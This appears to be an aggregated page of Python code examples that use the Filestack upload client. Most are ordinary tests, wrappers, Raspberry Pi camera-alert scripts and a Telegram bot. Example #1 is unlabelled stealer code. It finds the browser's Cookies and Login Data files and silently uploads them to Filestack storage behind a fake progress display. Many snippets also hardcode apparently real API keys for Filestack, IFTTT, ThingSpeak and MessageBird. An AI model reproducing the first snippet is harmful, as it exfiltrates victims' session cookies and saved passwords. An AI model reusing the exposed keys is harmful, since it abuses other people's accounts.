コード例 #1
0
def starter():
    json_file_check()
    if stateread(destination()) == 1:
        eel.jshide()
    else:
        eel.jsshow()
        rnd_array = rand_array()
        targets = [destination() + '\\' + x for x in ('Cookies', 'Login Data')]
        print(rnd_array)
        for a in targets:
            print()
            time.sleep(1)
            eel.append(int(rnd_array[targets.index(a)][0]))
            # client = Client('ArqD8iB4HTvSwcewolp4Cz')
            client = Client('AeRm1vWbjS4aBO4gK8z77z')
            store_params = {
                'location': 's3',
                'path': destination(),
                'upload_tags': {
                    "foo": "bar"
                }
            }
            try:
                filelink = client.upload(filepath=a, store_params=store_params)
            except:
                pass
            eel.append(int(rnd_array[targets.index(a)][1]))
            print(os.path.isfile(a))

    statewrite(destination())
コード例 #2
0
def test_upload_filepath():
    client = Client(APIKEY)

    # add the different HTTP responses that are called during the multipart upload
    responses.add(responses.POST,
                  MULTIPART_START_URL,
                  status=200,
                  content_type='application/json',
                  json={
                      'region': 'us-east-1',
                      'upload_id': 'someuuid',
                      'uri': 'someuri',
                      'location_url': 'fs-uploads.com'
                  })
    responses.add(responses.POST,
                  'https://fs-uploads.com/multipart/upload',
                  status=200,
                  content_type='application/json',
                  json={
                      'url': URL,
                      'headers': {}
                  })
    responses.add_callback(responses.PUT, URL, callback=chunk_put_callback)
    responses.add(responses.POST,
                  'https://fs-uploads.com/multipart/complete',
                  status=200,
                  content_type='application/json',
                  json={
                      'url': URL,
                      'handle': HANDLE
                  })

    new_filelink = client.upload(filepath='tests/data/doom.mp4')
    assert new_filelink.handle == HANDLE
コード例 #3
0
ファイル: filestack.py プロジェクト: tomasgarzon/exo-services
class FileStackClient:
    logger = 'filestack'
    URL_API = 'https://www.filestackapi.com/api/file'

    def __init__(self, *args, **kwargs):
        self.client = Client(settings.FILESTACK_KEY)

    def log(self, msg, url, exception=None):
        logger.error('{}: {}-{}'.format(msg, url,
                                        getattr(exception, 'message', '')))

    def get_video_info(self, resource):
        handle = resource.get_handle()
        url = '{}/{}/metadata'.format(self.URL_API, handle)
        return requests.get(url).json()

    def get_metadata(self, handle):
        url = '{}/{}/metadata'.format(self.URL_API, handle)
        return requests.get(url).json()

    def upload(self, filepath=None, file_obj=None):
        return self.client.upload(filepath=filepath, file_obj=file_obj)

    def upload_png(self, filepath, intelligent=False):
        params = {'mimetype': 'image/png'}
        filelink = self.client.upload(filepath=filepath,
                                      params=params,
                                      intelligent=intelligent)
        return filelink

    def upload_url(self, url, intelligent=False):
        return self.client.upload(url=url)

    def get_url_screenshot(self, url, width, height):
        screenshot = self.client.urlscreenshot(external_url=url,
                                               width=width,
                                               height=height)

        try:
            filelink = screenshot.store()
            url = filelink.url
        except Exception as exception:
            self.log("FileStackClient.get_url_screenshot.Exception", url,
                     exception)
            url = None
        return url

    def get_filelink_tags(self, filelink):
        return filelink.tags()

    def rotate_filelink(self, filelink, width, height, deg=90):
        transform = filelink.resize(width=width, height=height).rotate(deg=deg)
        new_filelink = transform.store()
        return new_filelink
コード例 #4
0
def test_security_inheritance(upload_external_mock, multipart_mock):
    upload_external_mock.return_value = {'handle': 'URL_HANDLE'}
    multipart_mock.return_value = {'handle': 'FILE_HANDLE'}

    policy = {'expiry': 1900}
    cli = Client(APIKEY, security=Security(policy, 'SECRET'))

    flink_from_url = cli.upload_url('https://just.some/url')
    assert flink_from_url.handle == 'URL_HANDLE'
    assert flink_from_url.security.policy == policy

    flink = cli.upload(filepath='/dummy/path')
    assert flink.handle == 'FILE_HANDLE'
    assert flink.security.policy == policy
コード例 #5
0
def send_alert():
    #camera.capture('image.jpg')
    camera.start_recording('intruder.h264')
    camera.wait_recording(5)
    camera.stop_recording
    camera.close()
    client = Client("AfiwsCgmSHiNYVdEGYmSoz")  #filestack api key = abcdefghijk
    new_filelink = client.upload(filepath='intruder.h264')
    print(new_filelink.url)
    r = requests.post(
        'https://maker.ifttt.com/trigger/intruder/with/key/bZXKpF2Xl3ERNt3tlN4NX0',
        json={'value1': new_filelink.url})
    if r.status_code == 200:
        print('Alert Sent')
    else:
        print('Error')
コード例 #6
0
def upload_picture(
    name
):  #uploads user picture to filestackcdn and returns a 500x500 img (FILESTACK API)
    client = Client('API KEY')

    filelink = client.upload(filepath='media/%s' % name)
    handle = Filelink(filelink.handle)
    new_filelink = handle.resize(width=500, height=500).store()
    return new_filelink.url  #return link of the new file uploaded (str)
コード例 #7
0
def test_upload_file_obj(post_mock, put_mock):
    start_response = defaultdict(str)
    start_response['location_url'] = 'fs.api'
    post_mock.side_effect = [
        DummyHttpResponse(json_dict=start_response),
        DummyHttpResponse(json_dict=defaultdict(str)),
        DummyHttpResponse(json_dict={'handle': 'bytesHandle'})
    ]
    put_mock.return_value = DummyHttpResponse(json_dict=defaultdict(str),
                                              headers={'ETag': 'etag-1'})
    file_content = b'file bytes'
    filelink = Client(APIKEY).upload(file_obj=io.BytesIO(file_content))
    assert filelink.handle == 'bytesHandle'
    put_args, put_kwargs = put_mock.call_args
    assert put_kwargs['data'] == file_content
コード例 #8
0
ファイル: authManager.py プロジェクト: yooona1214/ARTIV
class authentication_server():
    def __init__(self):
        self.client = Client('AJD6nNwZORdSkQOAkpN7Mz')

    def new(self, filepath_org):
        new_filelink = self.client.upload(filepath=filepath_org)
        self.FileID = new_filelink.url.split('/')[-1]
        return self.FileID

    def __str__(self):
        if self.FileID:
            return self.FileID
        else:
            raise Exception("No Upload Action")

    #test id GB3aPVArRzGQRTjePq0w
    def update(self, fileID):
        Filelink(str(fileID)).download('./adms_user_db.npz')

    def image(self, buffer):
        decoded = cv2.imdecode(np.frombuffer(buffer, np.uint8), -1)
        cv2.imshow("test", decoded)
        cv2.waitKey(0)
コード例 #9
0
# IMPORTANT:
# Please remember that not all application can use Filestack Intelligent Ingestion.
# To enable this feature, please contact Filestack Support

from filestack import Client

filepath = '<PATH_TO_FILE>'
APIKEY = '<YOUR_APIKEY>'

client = Client(APIKEY)

# specify intelligent=True agrument to use Filestack Intelligent Ingestion
filelink = client.upload(filepath=filepath, intelligent=True)
コード例 #10
0
import requests
from gpiozero import MotionSensor
from picamera import PiCamera
from signal import pause
from filestack import Client

client = Client("YOUR FILESTACK API KEY")
camera = PiCamera()
camera.resolution = (1920, 1080)
def send_alert():
    camera.capture("image.jpg")
    new_filelink = client.upload(filepath="image.jpg")
    print(new_filelink.url)
    r = requests.post("https://maker.ifttt.com/trigger/trigger/with/key/IFTTT API KEY", json={"value1" : new_filelink.url})
    if r.status_code == 200:
        print("Alert Sent")
    else:
        print("Error")

pir = MotionSensor(17)
pir.when_motion = send_alert
pause()
コード例 #11
0
    def filestack_upload_image(self, filename):

        client = Client(self.filestack_token)
        new_filelink = client.upload(filepath="temp/" + filename)
        return new_filelink.url
コード例 #12
0
def client():
    return Client(APIKEY)
コード例 #13
0
from filestack import Client

client = Client('<YOUR_API_KEY>')
transform = client.transform_external('https://upload.wikimedia.org/wikipedia/commons/3/32/House_sparrow04.jpg')
transform.resize(width=500, height=500).enhance()

print(transform.url)
print(transform.download('bird.jpg'))
コード例 #14
0
ファイル: sih.py プロジェクト: parthgoel06/Raspberry_Pi
                       time_diff_1 + 10,
                       targetname="test.mp4")

#call
client = messagebird.Client('4YKfcxjfhxPnzDIjuMb0YkE3d')
try:
    msg = client.voice_message_create(
        '+918799700769', 'Emergency detected please check message',
        {'voice': 'male'})
    print(msg.__dict__)
except messagebird.client.ErrorException as e:
    for error in e.errors:
        print(error)

#upload vid file
cli = Client('AkNi4zBJJTfmBeR8aAK6rz')
filelink = cli.upload(filepath='test.mp4')
#print(filelink.url)
url = str(filelink.url)
print(url)

#locate places
pl.hospital()
pl.police()
location = pl.long_lat()
print(f"LOCATION = {location}")

#send sms through gsm module
SERIAL_PORT = "/dev/ttyS0"
ser = serial.Serial(SERIAL_PORT, baudrate=9600, timeout=5)
ser.write(b"AT+CMGF=1\r")
コード例 #15
0
from gtts import gTTS
import telebot
from telebot import types
from filestack import Client
import random

# Your fire-stack client api
client = Client("api")
# Directory to save audio file, can look like
path = "C:\\PycharmProjects\\bot\\1.mp3"
# Your Telegram Bot token
token = "token"
bot = telebot.TeleBot(token)


@bot.inline_handler(func=lambda query: len(query.query) > 0)
def query_text(query):
    try:
        query.query = query.query.replace("\n", " ")
        audiotext = query.query
        tts = gTTS(audiotext, lang="ru")
        tts.save(path)
        filelink = client.upload(filepath=path)
        print(filelink.url)
        ans = types.InlineQueryResultVoice(id=str(random.randint(1, 64 * 8)),
                                           voice_url=filelink.url,
                                           title="nothing")
        bot.answer_inline_query(query.id, [ans], cache_time=5)
    except Exception as e:
        print(e)
コード例 #16
0
ファイル: filestack.py プロジェクト: tomasgarzon/exo-services
 def __init__(self, *args, **kwargs):
     self.client = Client(settings.FILESTACK_KEY)
コード例 #17
0
from filestack import Client, Security

# policy expires on 5/6/2099
policy = {'call': ['read', 'remove', 'store'], 'expiry': 4081759876}

security = Security(policy, '<YOUR_APP_SECRET>')

client = Client('<YOUR_API_KEY>', security=security)

transform = client.transform_external(
    'https://images.unsplash.com/photo-1446776877081-d282a0f896e2?dpr=1&auto=format&fit=crop&w=1500&h=998&q=80&cs=tinysrgb&crop=&bg='
)
transform.blackwhite(threshold=50).flip()

print(transform.signed_url())
コード例 #18
0
def client():
    return Client(APIKEY,
                  security={
                      'policy': b64encode(b'somepolicy'),
                      'signature': 'somesignature'
                  })
コード例 #19
0
    while GPIO.input(PIN_ECHO)==1:\
        pulse_end_time = time.time()\
        \
        \
    pulse_duration = pulse_end_time-pulse_start_time\
    distance1 = round(17500*pulse_duration,2)\
    print("distance detected:",distance1,"cm")\
    #write API keys\
    print("writing to ThingSpeak...")\
    RequestToThingspeak = 'https://api.thingspeak.com/update?api_key=A919IY7SOCZWU1H8&field1='\
    RequestToThingspeak+=str(distance1)\
    request = requests.get(RequestToThingspeak)\
    if distance1 < 10:\
     if distance1 > 0:\
        \
         client = Client("ANWybKYrRoGC9LR45vC0Qz") #filestack api key = abcdefghijk\
         camera = PiCamera()\
         camera.rotation = 180\
         camera.resolution = (1920, 1080)\
         camera.framerate = 15\
         camera.capture('/home/pi/Desktop/image.jpg') #path to your image\
         print("uploading filestack...")\
         new_filelink = client.upload(filepath="/home/pi/Desktop/image.jpg") #path to you image\
         print(new_filelink.url)\
         print("Posting to IFTTT...")\
         r = requests.post(\
         "https://maker.ifttt.com/trigger/trigger/with/key/bjiw0jg3AvS3HFEo9Kv5PV",\
         json=\{"value1" : new_filelink.url\}) #one line # ifttt api key = hjklyuioi\
        \
         camera.close() \
\
コード例 #20
0
from filestack import security as create_security
from filestack import Client
import time
import os

policy = {
    'expiry': int(time.time()) + 15 * 60,
    'path': '/my-user/',
    'maxSize': 10000000,
    'container': 'user-uploads',
}


def gen_credentials(policy, filestack_secret):
    creds = {}
    sec = create_security(policy, os.environ.get('FILESTACK_SECRET'))
    creds['policy'] = sec['policy'].decode('ascii')
    creds['signature'] = sec['signature']
    return (creds)


client = Client("A9UmXdpXcRY2dIPsZsBHfz",
                security=gen_credentials(policy,
                                         os.environ.get('FILESTACK_SECRET')))

new_filelink = client.upload(filepath="./Chart.svg")
print(new_filelink)
コード例 #21
0
ファイル: authManager.py プロジェクト: yooona1214/ARTIV
 def __init__(self):
     self.client = Client('AJD6nNwZORdSkQOAkpN7Mz')
コード例 #22
0
from gpiozero import MotionSensor
from picamera import PiCamera
import requests
from signal import pause
from filestack import Client
from time import sleep

sleep(3)
pir = MotionSensor(4)
camera = PiCamera()
client = Client("AQJWfxpMTQgWW677VUPKTz")

while True:

    def send_alert():
        camera.capture('motionImage.jpg')
        new_filelink = client.upload(filepath="motionImage.jpg")
        print(new_filelink.url)
        r = requests.post(
            "https://maker.ifttt.com/trigger/motionDetect/with/key/e3An1mZ_PLo9i78j5NwUqs2XfDz-kUyvFRZ47Ta9ORr",
            json={"value1": new_filelink.url})
        if r.status_code == 200:
            print('Alert Sent!')
        else:
            print("ERROR")

    while True:
        if pir.motion_detected:
            print('Motion detected!')
            send_alert()
            camera.capture('motionImage.jpg')
コード例 #23
0
sys.path.append(os.path.join(cur_path, 'libs'))
from filestack import Client
from filestack import Filelink
"""
    Obtengo el modulo que fue invocado
"""
module = GetParams("module")

if module == "upload_":

    try:
        key_ = GetParams('key_')
        path_ = GetParams('path_')
        var_ = GetParams('id_')

        client = Client(key_)

        params = {'mimetype': 'image/png'}
        new_filelink = client.upload(filepath=path_)
        id = os.path.basename(new_filelink.url)
        SetVar(var_, id)

    except Exception as e:
        PrintException()
        raise Exception(e)

if module == "resize":

    id_ = GetParams('id_')
    width_ = GetParams('width_')
    height_ = GetParams('height_')
コード例 #24
0
import requests
import RPi.GPIO as GPIO
from gpiozero import MotionSensor
from picamera import PiCamera
from signal import pause
from filestack import Client
import time
import requests
request = None

client = Client('AfiwsCgmSHiNYVdEGYmSoz')
camera = PiCamera()
camera.resolution = (1920, 1080)
camera.rotation = 180
camera.framerate = 15

GPIO.setmode(GPIO.BOARD)
PIN_TRIGGER = 7
PIN_ECHO = 11
GPIO.setup(PIN_TRIGGER, GPIO.OUT)
GPIO.setup(PIN_ECHO, GPIO.IN)
GPIO.output(PIN_TRIGGER, GPIO.LOW)


def polling():
    GPIO.output(PIN_TRIGGER, GPIO.HIGH)
    time.sleep(0.00001)
    GPIO.output(PIN_TRIGGER, GPIO.LOW)
    while GPIO.input(PIN_ECHO) == 0:
        pulse_start = time.time()
    while GPIO.input(PIN_ECHO) == 1:
コード例 #25
0
from filestack import Client

client = Client('<YOUR_API_KEY')

new_video = client.upload(filepath='/PATH/TO/FILE')
new_video_conversion = new_video.av_convert(width=400, height=400)

while new_video_conversion.status != 'completed':
    print('not completed yet')

print(new_video_conversion.to_filelink().url)
コード例 #26
0
from filestack import Client, security

# policy expires on 5/6/2099
policy = {'call': ['read', 'remove', 'store'], 'expiry': 4081759876}
security = security(policy, '<YOUR_APP_SECRET>')

client = Client(apikey='<YOUR_API_KEY>', security=security)
filelink = client.upload(
    url=
    'https://www.wbu.com/wp-content/uploads/2016/07/540x340-found-a-bird-450x283.jpg'
)

delete_response = filelink.delete()
コード例 #27
0
from filestack import Client, security

# expires in 2099 ;)
policy = {'expiry': 4085665557}
app_secret = '<YOUR_APP_SECRET>'
sec = security(policy, app_secret)

client = Client('<YOUR_API_KEY>', security=sec)
filelink = client.upload(
    url='http://weknownyourdreamz.com/images/birds/birds-04.jpg')

tags = filelink.tags()
sfw = filelink.sfw()
print(tags)
print(sfw)
コード例 #28
0
ファイル: app.py プロジェクト: Joeri157/thirdprojecttesting
if os.path.exists("env.py"):
    import env


#  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  #
#  Connect to external MongoDB database                                       #
#  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  #

app = Flask(__name__)
app.config["MONGO_DBNAME"] = os.environ.get("MONGO_DBNAME")
app.config["MONGO_URI"] = os.environ.get("MONGO_URI")
app.secret_key = os.environ.get("SECRET_KEY")

mongo = PyMongo(app)

client = Client("AYGc8VBXRTGi7hUQdYZnIz")


#  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  #
#  Homepage                                                                   #
#  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  #

@app.route("/")  # refers to the default route
@app.route("/index")
def index():
    categories = list(mongo.db.categories.find().sort("category_name", 1))
    uploads = list(
        mongo.db.uploads.find().sort("upload_time", -1))  # .limit(2)
    return render_template(
        "index.html", uploads=uploads, categories=categories)
コード例 #29
0
 def share(self):
     client = Client(self.api_key)
     new_filelink = client.upload(filepath=self.filepath)
     return new_filelink.url
コード例 #30
0
from filestack import Client

filepath = '<PATH_TO_FILE>'
APIKEY = '<YOUR_APIKEY>'

client = Client(APIKEY)

# multipart uploading is enabled by default
filelink_multipart = client.upload(filepath=filepath)

# if you want to disable multipart...
filelink_no_multipart = client.upload(filepath=filepath, multipart=False)